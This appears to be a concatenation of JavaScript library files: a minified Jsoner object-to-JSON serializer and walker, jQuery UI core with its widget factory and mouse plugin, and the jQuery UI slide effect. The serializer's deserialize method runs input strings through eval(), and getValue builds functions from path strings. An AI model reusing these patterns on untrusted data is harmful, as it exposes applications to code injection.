this.fLogger.warning("isDefaultProperty, unable to get property:"+_524,ex);
}
}
return _526;
};
Walker.prototype.array=[];
Walker.prototype.isPureArray=function(_528){
var _529=COMMONS.isArray(_528);
if(_529){
var _52a;
for(var name in _528){
if(name!=Jsoner.MAGIC_HASH_CODE){
_52a=_528[name];
if(isNaN(Number(name))&&!this.isDefaultProperty(this.array,name,_52a)){
_529=false;
break;
}
}
}
}
return _529;
};
Walker.prototype.collectAttributes=function(_52c,_52d,_52e){
var _52f=[];
var _530;
var _531;
if(COMMONS.isDefined(_52d)){
var def=this.getDefaultInstance(_52e);
var path=_52c.join(".");
for(var name in _52d){
try{
_530=_52d[name];
if(!this.isMute(name,_530,_52d)&&this.isAttribute(name,_530)){
_531=path.length>0?path+"."+name:name;
if(!this.isDefaultProperty(def,_531,_530)){
_52f.push({name:name,value:_530});
}
}
}
catch(ex){
this.fLogger.error("collectAttributes, unable to collect attribute:"+name,ex);
}
}
}
return _52f;
};
Walker.prototype.collectChildren=function(_535,_536,_537){
var _538;
var _539;
var _53a=[];
if(!this.isPureArray(_536)){
var def=this.getDefaultInstance(_537);
var path=_535.join(".");
for(var name in _536){
try{
_538=_536[name];
if(!this.isMute(name,_538,_536)&&!this.isAttribute(name,_538)){
_539=path.length>0?path+"."+name:name;
if(!this.isDefaultProperty(def,_539,_538)){
_53a.push({name:name,value:_538});
}
}
}
catch(ex){
this.fLogger.warning("collectChildren, unable to collect child:"+name,ex);
}
}
}
return _53a;
};
function Serializer(_53e){
function ValueWalker(){
return JSINER.extend(this,Walker);
}
ValueWalker.prototype.getDefaultInstance=function(_53f){
var def=ValueWalker.superClass.getDefaultInstance.call(this,_53f.value);
return {value:def};
};
this.fSerializers=new HashMap();
this.fDeserializers=new HashMap();
this.fPettyPrint=_53e;
this.fWalker=new ValueWalker();
this.fWalker.isWalkArray=function(_541,_542){
return false;
};
this.fCrossLinker=new ValueWalker();
this.initProcessors();
}
Serializer.FIELD_TYPE="type";
Serializer.FIELD_STREAM="data";
Serializer.DECODE_TABLE={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r","\"":"\\\"","\\":"\\\\"};
Serializer.REGEXP_TEST=/["\\\x00-\x1f]/;
Serializer.REGEXP_REPLACE=/([\x00-\x1f\\"])/g;
Serializer.SERIALIZE_METHOD="toJSONString";
Serializer.DESERIALIZE_METHOD="stringToJSON";
Serializer.prototype.fLogger=new Logger("Serializer");
Serializer.prototype.registerSerializer=function(_543,_544){
if(COMMONS.isFunction(_544)){
this.fSerializers.put(_543,_544);
}else{
this.fLogger.warning("registerSerializer, illegal argument type:"+_544);
}
};
Serializer.prototype.registerDeserializer=function(_545,_546){
if(COMMONS.isFunction(_546)){
this.fDeserializers.put(_545,_546);
}else{
this.fLogger.warning("registerSerializer, illegal argument type:"+_546);
}
};
Serializer.prototype.initProcessors=function(){
this.registerSerializer("object",this.serializeObject);
this.registerDeserializer("object",this.deserializeObject);
this.registerSerializer("string",this.serializeString);
this.registerSerializer("function",this.serializeFunction);
this.registerSerializer("Date",this.serializeDate);
this.registerDeserializer("Date",this.deserializeDate);
this.registerSerializer("RegExp",this.serializeRegexp);
};
Serializer.prototype.getSerializer=function(_547){
function defaultSerializer(_548){
return String(_548);
}
var _549=null;
if(COMMONS.isDefined(_547)){
_549=_547[Serializer.SERIALIZE_METHOD];
if(!COMMONS.isFunction(_549)){
_549=this.fSerializers.get(JSINER.getType(_547));
if(!COMMONS.isFunction(_549)){
_549=this.fSerializers.get(typeof (_547));
}
}
}
if(!COMMONS.isFunction(_549)){
_549=defaultSerializer;
}
return _549;
};
Serializer.prototype.getDeserializer=function(_54a){
var _54b=COMMONS.isDefined(_54a)?_54a[Serializer.DESERIALIZE_METHOD]:null;
if(!COMMONS.isFunction(_54b)&&COMMONS.isDefined(_54a)){
var type=_54a[Serializer.FIELD_TYPE];
if(COMMONS.isDefined(type)){
_54b=this.fDeserializers.get(type);
}
}
if(!COMMONS.isFunction(_54b)){
_54b=this.fDeserializers.get(typeof (_54a));
if(!COMMONS.isFunction(_54b)){
_54b=COMMONS.proxy;
}
}
return _54b;
};
Serializer.prototype.serializeDate=function(_54d){
var time=_54d.getTime();
_54d.time=_54d.getTime();
var _54f=this.serializeObject(_54d);
_54d.time=undefined;
delete _54d["time"];
return _54f;
};
Serializer.prototype.deserializeDate=function(_550){
var _551=this.deserializeObject(_550);
if(COMMONS.isDefined(_551.time)){
_551.setTime(_551.time);
_551.time=undefined;
delete _551["time"];
}
return _551;
};
Serializer.prototype.serializeRegexp=function(_552){
return _552.toString();
};
Serializer.prototype.serializeFunction=function(_553){
var _554=_553.toString();
var ind1=_554.indexOf(" ")+1;
var ind2=_554.indexOf("(");
if(ind1<ind2){
_554=_554.substring(ind1,ind2);
}else{
this.fLogger.warning("serializeFunction, anonymous function: "+_554);
}
return _554;
};
Serializer.prototype.serializeString=function(_557){
if(Serializer.REGEXP_TEST.test(_557)){
_557=_557.replace(Serializer.REGEXP_REPLACE,function(a,b){
var c=Serializer.DECODE_TABLE[b];
if(COMMONS.isDefined(c)){
return c;
}
c=b.charCodeAt();
return "\\u00"+Math.floor(c/16).toString(16)+(c%16).toString(16);
});
}
return "\""+_557+"\"";
};
Serializer.prototype.serializeObject=function(_55b){
var _55c="";
var _55d=[];
var _55e=this;
var _55f=this.fPettyPrint;
this.fWalker.jsonTreeWalker({value:_55b},function(_560,_561,_562,_563){
var _564;
var func;
var b=false;
if(_563===Jsoner.JSON_NODE_START||_563===Jsoner.JSON_NODE_LEAF){
if(_560.length>1){
if(_55c.charAt(_55c.length-1)!=="{"){
_55c+=_55f?",\n":",";
}
_55c+=this.getAttrName(this.getLastProperty(_560))+":";
}
if(this.isPureArray(_561)){
_55c+="[";
for(var i=0;i<_561.length;i++){
func=_55e.getSerializer(_561[i]);
if(COMMONS.isFunction(func)){
if(b){
_55c+=",";
}
_55c+=func.call(_55e,_561[i]);
b=true;
}
}
_55d.push("]");
}else{
var type=JSINER.getType(_561);
if(type==="Object"){
_55c+="{";
_55d.push("}");
}else{
_55c+="{\""+Serializer.FIELD_TYPE+"\":\""+type+"\",";
_55c+="\""+Serializer.FIELD_STREAM+"\":"+(_55f?"\n{":" {");
_55d.push(_55f?"}\n}":"}}");
}
for(var i=0;i<_562.length;i++){
_564=_562[i].value;
func=_55e.getSerializer(_564);
if(COMMONS.isFunction(func)){
_564=func.call(_55e,_564);
if(b){
_55c+=_55f?",\n":",";
}
_55c+=this.getAttrName(_562[i].name)+":"+_564;
b=true;
}
}
}
}
if(_563===Jsoner.JSON_NODE_END||_563===Jsoner.JSON_NODE_LEAF){
_55c+=_55d.pop();
}
return true;
});
return _55c;
};
Serializer.prototype.deserializeObject=function(_569){
var _56a=_569;
var _56b;
var func;
if(COMMONS.isObject(_569)){
var type=_569[Serializer.FIELD_TYPE];
if(COMMONS.isString(type)){
try{
var cons=JSINER.getConstructor(type);
_56a=new cons();
var data=_569[Serializer.FIELD_STREAM];
if(COMMONS.isObject(data)){
for(var name in data){
if(data.hasOwnProperty(name)){
_56b=_569.data[name];
func=this.getDeserializer(_56b);
if(COMMONS.isFunction(func)){
_56a[name]=func.call(this,_56b);
}
}
}
}
}
catch(ex){
this.fLogger.error("deSerialize error "+type,ex);
}
}else{
for(var name in _569){
if(_569.hasOwnProperty(name)){
_56b=_569[name];
func=this.getDeserializer(_56b);
if(COMMONS.isFunction(func)){
_56a[name]=func.call(this,_56b);
}
}
}
}
}
return _56a;
};
Serializer.prototype.serialize=function(_571){
var _572="undefined";
var func=this.getSerializer(_571);
if(COMMONS.isDefined(func)){
try{
_572=func.call(this,_571);
var _574=this.fPettyPrint;
this.fCrossLinker.jsonPathEvaluator({value:_571},function(_575,_576,_577){
if(_577===Jsoner.JSON_NODE_CROSS_LINKED){
_572+=_574?";\n":";";
var _578=_576.substring(6+Jsoner.CROSS_LINK_PREFIX.length);
_572+=Jsoner.CROSS_LINK_PREFIX+"."+_575.substring(6)+"="+(_578.length>0?+"result."+_578:"result");
}
return true;
});
}
catch(ex){
this.fLogger.error("serialize error",ex);
}
_572+=";";
}else{
this.fLogger.error("serialize, corresponding serializer not found:"+_571);
}
return _572;
};
Serializer.prototype.deserialize=function(_579){
var _57a=undefined;
if(COMMONS.isString(_579)){
var _57b=_579;
var _57c=null;
var _57d=_579.indexOf(Jsoner.CROSS_LINK_PREFIX);
if(_57d>0){
_57b=_579.substring(0,_57d);
_57c=_579.substring(_57d).replace(new RegExp(Jsoner.CROSS_LINK_PREFIX,"g"),"result");
}
try{
var _57e=undefined;
eval("_57e ="+_57b);
if(_57e!==undefined){
var func=this.getDeserializer(_57e);
if(COMMONS.isDefined(func)){
_57a=func.call(this,_57e);
}
}
if(_57c!==null){
try{
eval(_57c);
}
catch(ex){
this.fLogger.error("deSerialize, unable to deserialize cross links:"+_57c,ex);
}
}
}
catch(ex){
this.fLogger.error("deSerialize error",ex);
}
}else{
this.fLogger.error("deSerialize error, illegal argument type:"+_579);
}
return _57a;
};
|
JavaScript
|
/*
* jQuery UI @VERSION
*
* Copyright (c) 2008 Paul Bakaus (ui.jquery.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI
*/
;(function($) {
/** jQuery core modifications and additions **/
var _remove = $.fn.remove;
$.fn.remove = function() {
// Safari has a native remove event which actually removes DOM elements,
// so we have to use triggerHandler instead of trigger (#3037).
$("*", this).add(this).each(function() {
$(this).triggerHandler("remove");
});
return _remove.apply(this, arguments );
};
function isVisible(element) {
function checkStyles(element) {
var style = element.style;
return (style.display != 'none' && style.visibility != 'hidden');
}
var visible = checkStyles(element);
(visible && $.each($.dir(element, 'parentNode'), function() {
return (visible = checkStyles(this));
}));
return visible;
}
$.extend($.expr[':'], {
data: function(a, i, m) {
return $.data(a, m[3]);
},
// TODO: add support for object, area
tabbable: function(a, i, m) {
var nodeName = a.nodeName.toLowerCase();
return (
// in tab order
a.tabIndex >= 0 &&
( // filter node types that participate in the tab order
// anchor tag
('a' == nodeName && a.href) ||
// enabled form element
(/input|select|textarea|button/.test(nodeName) &&
'hidden' != a.type && !a.disabled)
) &&
// visible on page
isVisible(a)
);
}
});
$.keyCode = {
BACKSPACE: 8,
CAPS_LOCK: 20,
COMMA: 188,
CONTROL: 17,
DELETE: 46,
DOWN: 40,
END: 35,
ENTER: 13,
ESCAPE: 27,
HOME: 36,
INSERT: 45,
LEFT: 37,
NUMPAD_ADD: 107,
NUMPAD_DECIMAL: 110,
NUMPAD_DIVIDE: 111,
NUMPAD_ENTER: 108,
NUMPAD_MULTIPLY: 106,
NUMPAD_SUBTRACT: 109,
PAGE_DOWN: 34,
PAGE_UP: 33,
PERIOD: 190,
RIGHT: 39,
SHIFT: 16,
SPACE: 32,
TAB: 9,
UP: 38
};
// WAI-ARIA Semantics
var isFF2 = $.browser.mozilla && (parseFloat($.browser.version) < 1.9);
$.fn.extend({
ariaRole: function(role) {
return (role !== undefined
// setter
? this.attr("role", isFF2 ? "wairole:" + role : role)
// getter
: (this.attr("role") || "").replace(/^wairole:/, ""));
},
ariaState: function(state, value) {
return (value !== undefined
// setter
? this.each(function(i, el) {
(isFF2
? el.setAttributeNS("http://www.w3.org/2005/07/aaa",
"aaa:" + state, value)
: $(el).attr("aria-" + state, value));
})
// getter
: this.attr(isFF2 ? "aaa:" + state : "aria-" + state));
}
});
// $.widget is a factory to create jQuery plugins
// taking some boilerplate code out of the plugin code
// created by Scott González and Jörn Zaefferer
function getter(namespace, plugin, method, args) {
function getMethods(type) {
var methods = $[namespace][plugin][type] || [];
return (typeof methods == 'string' ? methods.split(/,?\s+/) : methods);
}
var methods = getMethods('getter');
if (args.length == 1 && typeof args[0] == 'string') {
methods = methods.concat(getMethods('getterSetter'));
}
return ($.inArray(method, methods) != -1);
}
$.widget = function(name, prototype) {
var namespace = name.split(".")[0];
name = name.split(".")[1];
// create plugin method
$.fn[name] = function(options) {
var isMethodCall = (typeof options == 'string'),
args = Array.prototype.slice.call(arguments, 1);
// prevent calls to internal methods
if (isMethodCall && options.substring(0, 1) == '_') {
return this;
}
// handle getter methods
if (isMethodCall && getter(namespace, name, options, args)) {
var instance = $.data(this[0], name);
return (instance ? instance[options].apply(instance, args)
: undefined);
}
// handle initialization and non-getter methods
return this.each(function() {
var instance = $.data(this, name);
// constructor
(!instance && !isMethodCall &&
$.data(this, name, new $[namespace][name](this, options)));
// method call
(instance && isMethodCall && $.isFunction(instance[options]) &&
instance[options].apply(instance, args));
});
};
// create widget constructor
$[namespace] = $[namespace] || {};
$[namespace][name] = function(element, options) {
var self = this;
this.widgetName = name;
this.widgetEventPrefix = $[namespace][name].eventPrefix || name;
this.widgetBaseClass = namespace + '-' + name;
this.options = $.extend({},
$.widget.defaults,
$[namespace][name].defaults,
$.metadata && $.metadata.get(element)[name],
options);
this.element = $(element)
.bind('setData.' + name, function(e, key, value) {
return self._setData(key, value);
})
.bind('getData.' + name, function(e, key) {
return self._getData(key);
})
.bind('remove', function() {
return self.destroy();
});
this._init();
};
// add widget prototype
$[namespace][name].prototype = $.extend({}, $.widget.prototype, prototype);
// TODO: merge getter and getterSetter properties from widget prototype
// and plugin prototype
$[namespace][name].getterSetter = 'option';
};
$.widget.prototype = {
_init: function() {},
destroy: function() {
this.element.removeData(this.widgetName);
},
option: function(key, value) {
var options = key,
self = this;
if (typeof key == "string") {
if (value === undefined) {
return this._getData(key);
}
options = {};
options[key] = value;
}
$.each(options, function(key, value) {
self._setData(key, value);
});
},
_getData: function(key) {
return this.options[key];
},
_setData: function(key, value) {
this.options[key] = value;
if (key == 'disabled') {
this.element[value ? 'addClass' : 'removeClass'](
this.widgetBaseClass + '-disabled');
}
},
enable: function() {
this._setData('disabled', false);
},
disable: function() {
this._setData('disabled', true);
},
_trigger: function(type, e, data) {
var eventName = (type == this.widgetEventPrefix
? type : this.widgetEventPrefix + type);
e = e || $.event.fix({ type: eventName, target: this.element[0] });
return this.element.triggerHandler(eventName, [e, data], this.options[type]);
}
};
$.widget.defaults = {
disabled: false
};
/** jQuery UI core **/
$.ui = {
version: "@VERSION",
// $.ui.plugin is deprecated. Use the proxy pattern instead.
plugin: {
add: function(module, option, set) {
var proto = $.ui[module].prototype;
for(var i in set) {
proto.plugins[i] = proto.plugins[i] || [];
proto.plugins[i].push([option, set[i]]);
}
},
call: function(instance, name, args) {
var set = instance.plugins[name];
if(!set) { return; }
for (var i = 0; i < set.length; i++) {
if (instance.options[set[i][0]]) {
set[i][1].apply(instance.element, args);
}
}
}
},
cssCache: {},
css: function(name) {
if ($.ui.cssCache[name]) { return $.ui.cssCache[name]; }
var tmp = $('<div class="ui-gen">').addClass(name).css({position:'absolute', top:'-5000px', left:'-5000px', display:'block'}).appendTo('body');
//if (!$.browser.safari)
//tmp.appendTo('body');
//Opera and Safari set width and height to 0px instead of auto
//Safari returns rgba(0,0,0,0) when bgcolor is not set
$.ui.cssCache[name] = !!(
(!(/auto|default/).test(tmp.css('cursor')) || (/^[1-9]/).test(tmp.css('height')) || (/^[1-9]/).test(tmp.css('width')) ||
!(/none/).test(tmp.css('backgroundImage')) || !(/transparent|rgba\(0, 0, 0, 0\)/).test(tmp.css('backgroundColor')))
);
try { $('body').get(0).removeChild(tmp.get(0)); } catch(e){}
return $.ui.cssCache[name];
},
disableSelection: function(el) {
return $(el)
.attr('unselectable', 'on')
.css('MozUserSelect', 'none')
.bind('selectstart.ui', function() { return false; });
},
enableSelection: function(el) {
return $(el)
.attr('unselectable', 'off')
.css('MozUserSelect', '')
.unbind('selectstart.ui');
},
hasScroll: function(e, a) {
//If overflow is hidden, the element might have extra content, but the user wants to hide it
if ($(e).css('overflow') == 'hidden') { return false; }
var scroll = (a && a == 'left') ? 'scrollLeft' : 'scrollTop',
has = false;
if (e[scroll] > 0) { return true; }
// TODO: determine which cases actually cause this to happen
// if the element doesn't have the scroll set, see if it's possible to
// set the scroll
e[scroll] = 1;
has = (e[scroll] > 0);
e[scroll] = 0;
return has;
}
};
/** Mouse Interaction Plugin **/
$.ui.mouse = {
_mouseInit: function() {
var self = this;
this.element.bind('mousedown.'+this.widgetName, function(e) {
return self._mouseDown(e);
});
// Prevent text selection in IE
if ($.browser.msie) {
this._mouseUnselectable = this.element.attr('unselectable');
this.element.attr('unselectable', 'on');
}
this.started = false;
},
// TODO: make sure destroying one instance of mouse doesn't mess with
// other instances of mouse
_mouseDestroy: function() {
this.element.unbind('.'+this.widgetName);
// Restore text selection in IE
($.browser.msie
&& this.element.attr('unselectable', this._mouseUnselectable));
},
_mouseDown: function(e) {
// we may have missed mouseup (out of window)
(this._mouseStarted && this._mouseUp(e));
this._mouseDownEvent = e;
var self = this,
btnIsLeft = (e.which == 1),
elIsCancel = (typeof this.options.cancel == "string" ? $(e.target).parents().add(e.target).filter(this.options.cancel).length : false);
if (!btnIsLeft || elIsCancel || !this._mouseCapture(e)) {
return true;
}
this.mouseDelayMet = !this.options.delay;
if (!this.mouseDelayMet) {
this._mouseDelayTimer = setTimeout(function() {
self.mouseDelayMet = true;
}, this.options.delay);
}
if (this._mouseDistanceMet(e) && this._mouseDelayMet(e)) {
this._mouseStarted = (this._mouseStart(e) !== false);
if (!this._mouseStarted) {
e.preventDefault();
return true;
}
}
// these delegates are required to keep context
this._mouseMoveDelegate = function(e) {
return self._mouseMove(e);
};
this._mouseUpDelegate = function(e) {
return self._mouseUp(e);
};
$(document)
.bind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
.bind('mouseup.'+this.widgetName, this._mouseUpDelegate);
return false;
},
_mouseMove: function(e) {
// IE mouseup check - mouseup happened when mouse was out of window
if ($.browser.msie && !e.button) {
return this._mouseUp(e);
}
if (this._mouseStarted) {
this._mouseDrag(e);
return false;
}
if (this._mouseDistanceMet(e) && this._mouseDelayMet(e)) {
this._mouseStarted =
(this._mouseStart(this._mouseDownEvent, e) !== false);
(this._mouseStarted ? this._mouseDrag(e) : this._mouseUp(e));
}
return !this._mouseStarted;
},
_mouseUp: function(e) {
$(document)
.unbind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
.unbind('mouseup.'+this.widgetName, this._mouseUpDelegate);
if (this._mouseStarted) {
this._mouseStarted = false;
this._mouseStop(e);
}
return false;
},
_mouseDistanceMet: function(e) {
return (Math.max(
Math.abs(this._mouseDownEvent.pageX - e.pageX),
Math.abs(this._mouseDownEvent.pageY - e.pageY)
) >= this.options.distance
);
},
_mouseDelayMet: function(e) {
return this.mouseDelayMet;
},
// These are placeholder methods, to be overriden by extending plugin
_mouseStart: function(e) {},
_mouseDrag: function(e) {},
_mouseStop: function(e) {},
_mouseCapture: function(e) { return true; }
};
$.ui.mouse.defaults = {
cancel: null,
distance: 1,
delay: 0
};
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Effects Slide @VERSION
*
* Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/Slide
*
* Depends:
* effects.core.js
*/
(function($) {
$.effects.slide = function(o) {
return this.queue(function() {
// Create element
var el = $(this), props = ['position','top','left'];
// Set options
var mode = $.effects.setMode(el, o.options.mode || 'show'); // Set Mode
var direction = o.options.direction || 'left'; // Default Direction
// Adjust
$.effects.save(el, props); el.show(); // Save & Show
$.effects.createWrapper(el).css({overflow:'hidden'}); // Create Wrapper
var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
var distance = o.options.distance || (ref == 'top' ? el.outerHeight({margin:true}) : el.outerWidth({margin:true}));
if (mode == 'show') el.css(ref, motion == 'pos' ? -distance : distance); // Shift
// Animation
var animation = {};
animation[ref] = (mode == 'show' ? (motion == 'pos' ? '+=' : '-=') : (motion == 'pos' ? '-=' : '+=')) + distance;
// Animate
el.animate(animation, { queue: false, duration: o.duration, easing: o.options.easing, complete: function() {
if(mode == 'hide') el.hide(); // Hide
$.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
if(o.callback) o.callback.apply(this, arguments); // Callback
el.dequeue();
}});
});
};
})(jQuery);
|
JavaScript
|
var JSONER={version:1.024};
function Jsoner(){
this.fDataProviderCache=new HashMap();
this.fLogger=new Logger("Jsoner");
this.isWalkArray=function(_1,_2,_3){
return COMMONS.isArray(_2);
};
this.isWalkNode=function(_4,_5,_6){
return COMMONS.isObject(_5)&&!COMMONS.isDate(_5)&&!COMMONS.isRegExp(_5);
};
}
Jsoner.JSON_NODE_START=1;
Jsoner.JSON_NODE_END=2;
Jsoner.JSON_NODE_LEAF=3;
Jsoner.JSON_ATTRIBUTE=4;
Jsoner.JSON_NODE_CROSS_LINKED=5;
Jsoner.MAGIC_HASH_CODE="$lnk";
Jsoner.CROSS_LINK_PREFIX="#link:";
Jsoner.prototype.isMatch=function(_7,_8){
var _9=false;
if(COMMONS.isDefined(_7)){
var _a=String(_8);
if(COMMONS.isRegExp(_7)){
_9=_7.test(_a);
}else{
if(COMMONS.isString(_7)){
var _b=_7.indexOf("*");
if(_b===-1){
_9=(_8===_7);
}else{
if(_b===0){
if(_7.length>1){
var _c=_7.substr(1);
_9=_a.lastIndexOf(_c)===(_a.length-_c.length);
}
}else{
var _d=_7.split("*");
_9=_a.indexOf(_d[0])===0;
if(_9&&_d.length>1){
var _e=_d[_d.length-1];
_9=_a.lastIndexOf(_e)===(_a.length-_e.length);
}
}
}
}
}
}
return _9;
};
Jsoner.prototype.converterFactory=function(_f){
var _10=COMMONS.proxy;
if(COMMONS.isFunction(_f)){
_10=_f;
}else{
if(COMMONS.isObject(_f)){
_10=function(_11){
for(var _12 in _f){
if(_f.hasOwnProperty(_12)&&this.isMatch(_12,_11)){
return _f[_12];
}
}
return _11;
};
}
}
return _10;
};
Jsoner.prototype.populate=function(_13,_14,_15,_16){
function parseSegment(_17){
var _18=_17;
if(_17.charAt(_17.length-1)==="]"){
var _19=_17.indexOf("[");
_18={path:_17.substring(0,_19),index:_17.substring(_19+1,_17.length-1)};
}
return _18;
}
var _1a=_14.split(".");
var obj=_13;
var _1c;
var _1d;
for(var i=0;(i<_1a.length-1)&&(obj!==null);i++){
_1d=parseSegment(_1a[i]);
if(COMMONS.isString(_1d)){
_1c=obj[_1d];
if(_16){
if(!COMMONS.isDefined(_1c)){
_1c={};
obj[_1d]=_1c;
}else{
if(COMMONS.isArray(_1c)&&!COMMONS.isDefined(_1c[0])){
_1c[0]={};
}
}
}
obj=COMMONS.isArray(_1c)?_1c[0]:_1c;
}else{
_1c=obj[_1d.path];
if(!COMMONS.isDefined(_1c)&&_16){
_1c=[];
obj[_1d.path]=_1c;
}else{
if(!COMMONS.isArray(_1c)){
_1c=[_1c];
obj[_1d.path]=_1c;
}
}
obj=_1c;
if(COMMONS.isDefined(obj)){
_1c=obj[_1d.index];
if(!COMMONS.isDefined(_1c)&&_16){
_1c={};
obj[_1d.index]=_1c;
}
obj=_1c;
}
}
}
if(COMMONS.isDefined(obj)){
_1d=parseSegment(_1a[_1a.length-1]);
if(COMMONS.isString(_1d)){
obj[_1d]=_15;
}else{
_1c=obj[_1d.path];
if(!COMMONS.isDefined(_1c)){
_1c=[];
obj[_1d.path]=_1c;
}else{
if(!COMMONS.isArray(_1c)){
_1c=[_1c];
obj[_1d.path]=_1c;
}
}
_1c[_1d.index]=_15;
}
}
return _13;
};
Jsoner.prototype.registerDataProvider=function(_1f,_20){
this.fDataProviderCache.put(_1f,_20);
};
Jsoner.prototype.getValue=function(_21,_22){
var _23=undefined;
if(COMMONS.isObject(_21)){
try{
_23=_21[_22];
if(COMMONS.isUndefined(_23)){
var fnc=this.fDataProviderCache.get(_22);
if(!COMMONS.isFunction(fnc)){
var _25="return aData";
if(_22.length>0){
if(_22.charAt(0)==="["){
_25+=_22;
}else{
_25+="."+_22;
}
}
fnc=new Function("aData",_25);
this.registerDataProvider(_22,fnc);
}
_23=fnc.call(this,_21);
}
}
catch(ex){
}
}
return _23;
};
Jsoner.prototype.setValue=function(_26,_27,_28,_29){
var _2a=_26;
if(COMMONS.isObject(_26)){
var _2b=(COMMONS.isUndefined(_29)||_29);
this.populate(_26,_27,_28,_2b);
}
return _2a;
};
Jsoner.prototype.isMute=function(_2c,_2d,_2e){
var _2f=_2c===Jsoner.MAGIC_HASH_CODE||!_2e.hasOwnProperty(_2c)||COMMONS.isFunction(_2d);
return _2f;
};
Jsoner.prototype.isAttribute=function(_30,_31){
var _32=true;
if(_31===null||COMMONS.isObject(_31)){
_32=COMMONS.isDate(_31)||COMMONS.isRegExp(_31)||_31===null;
}
return _32;
};
Jsoner.prototype.isText=function(_33){
return (_33==="text");
};
Jsoner.prototype.isCDATA=function(_34){
return (_34==="PCDATA");
};
Jsoner.prototype.collectAttributes=function(_35,_36,_37){
var _38=[];
var _39;
if(COMMONS.isObject(_36)){
for(var _3a in _36){
try{
_39=_36[_3a];
if(!this.isMute(_3a,_39,_36)&&this.isAttribute(_3a,_39)){
_38.push({name:_3a,value:_39});
}
}
catch(ex){
this.fLogger.warning("collectAttributes, unable to collect attribute:"+_3a,ex);
}
}
}
return _38;
};
Jsoner.prototype.collectChildren=function(_3b,_3c,_3d){
var _3e=[];
var _3f;
for(var _40 in _3c){
try{
_3f=_3c[_40];
if(!this.isMute(_40,_3f,_3c)&&!this.isAttribute(_40,_3f)){
_3e.push({name:_40,value:_3f});
}
}
catch(ex){
this.fLogger.warning("collectChildren, unable to collect child:"+_40,ex);
}
}
return _3e;
};
Jsoner.prototype.isResolveCrossLinks=function(_41){
return true;
};
Jsoner.prototype.addHashCode=function(_42,_43){
if(COMMONS.isObject(_42)){
_42[Jsoner.MAGIC_HASH_CODE]=_43;
}
};
Jsoner.prototype.getHashCode=function(_44){
var _45=undefined;
if(COMMONS.isObject(_44)){
_45=_44[Jsoner.MAGIC_HASH_CODE];
}
return _45;
};
Jsoner.prototype.removeHashCode=function(_46){
if(COMMONS.isObject(_46)&&_46[Jsoner.MAGIC_HASH_CODE]!==undefined){
_46[Jsoner.MAGIC_HASH_CODE]=undefined;
delete _46[Jsoner.MAGIC_HASH_CODE];
}
};
Jsoner.prototype.jsonTreeWalker=function(_47,_48){
var _49=-1;
var _4a=[];
var _4b=true;
var map=new HashMap();
function walkNode(_4d,_4e,_4f,_50){
var _51,index,value;
if(_4b){
if(this.isWalkArray(_4a,_4e,_47)){
for(var i=0;i<_4e.length&&_4b;i++){
walkNode.call(this,_4d,_4e[i],_4f,i);
}
}else{
var _53=COMMONS.isDefined(_50)?_4d+"["+_50+"]":_4d;
if(_4f>_49){
_4a.push(_53);
_49=_4f;
}else{
_4a[_4f]=_53;
}
if(this.isWalkNode(_4a,_4e,_47)){
try{
_51=this.collectAttributes(_4a,_4e,_47);
index=this.getHashCode(_4e);
if(COMMONS.isUndefined(index)){
if(this.isResolveCrossLinks(_4e)){
index=map.getSize();
this.addHashCode(_4e,index);
map.put(index,_4d);
}
try{
var _54=this.collectChildren(_4a,_4e,_47);
if(_54.length>0){
try{
_4b=_48.call(this,_4a,_4e,_51,Jsoner.JSON_NODE_START,_4f,_50);
}
catch(ex){
this.fLogger.error("jsonTreeWalker, ["+_4a+"] call back error",ex);
}
if(_4b){
for(var i=0;i<_54.length&&_4b;i++){
walkNode.call(this,_54[i].name,_54[i].value,_4f+1,null);
}
_4a.pop();
_49--;
_4b=_48.call(this,_4a,_4e,null,Jsoner.JSON_NODE_END,_4f,_50);
}
}else{
try{
_4b=_48.call(this,_4a,_4e,_51,Jsoner.JSON_NODE_LEAF,_4f,_50);
}
catch(ex){
this.fLogger.error("jsonTreeWalker, ["+_4a+"] call back error",ex);
}
}
}
finally{
this.removeHashCode(_4e);
}
}else{
value=map.get(index);
try{
_4b=_48.call(this,_4a,value,_51,Jsoner.JSON_NODE_CROSS_LINKED,_4f,_50);
}
catch(ex){
this.fLogger.error("jsonTreeWalker, ["+_4a+"] call back error",ex);
}
}
}
catch(exception){
this.fLogger.error("jsonTreeWalker, traverse node "+_4d+" failed",exception);
}
}else{
_4b=_48.call(this,_4a,_4e,null,Jsoner.JSON_ATTRIBUTE,_4f,_50);
}
}
}
}
if(COMMONS.isFunction(_48)){
if(this.isWalkArray([],_47,_47)){
walkNode.call(this,"",_47,0);
}else{
var _55;
for(var _56 in _47){
try{
_55=_47[_56];
if(!this.isMute(_56,_55,_47)){
walkNode.call(this,_56,_55,0);
}
}
catch(ex){
this.fLogger.info("jsonTreeWalker, unable to walk object property: "+_56,ex);
}
}
}
map.clear();
}else{
this.fLogger.error("jsonTreeWalker, callback function undefined");
}
};
Jsoner.prototype.getLastProperty=function(_57){
var _58=undefined;
if(COMMONS.isArray(_57)){
_58=_57[_57.length-1];
if(_58.charAt(_58.length-1)==="]"){
var _59=_58.indexOf("[");
if(_59>0){
_58=_58.substring(0,_59);
}
}
}
return _58;
};
Jsoner.prototype.jsonToXML=function(_5a,_5b,_5c,_5d,_5e){
var _5f=function(_60){
var _61="";
for(var i=0;i<_60;i++){
_61+=" ";
}
return _61;
};
var _63=function(_64,_65,_66,_67){
var _68=_64;
if(_67===Jsoner.JSON_NODE_CROSS_LINKED){
_68=Jsoner.CROSS_LINK_PREFIX+_68;
}
return _68;
};
var _69="";
var _6a=this.converterFactory(_5c);
var _6b=this.converterFactory(_5d);
var _6c=this.converterFactory(_5e?_5e:_63);
this.jsonTreeWalker(_5a,function(_6d,_6e,_6f,_70){
var _71;
var _72;
var _73;
var _74=_6a.call(this,this.getLastProperty(_6d),_6d,_70);
if(COMMONS.isDefined(_74)){
if(_5b){
_69+=_5f(_6d.length-1);
}
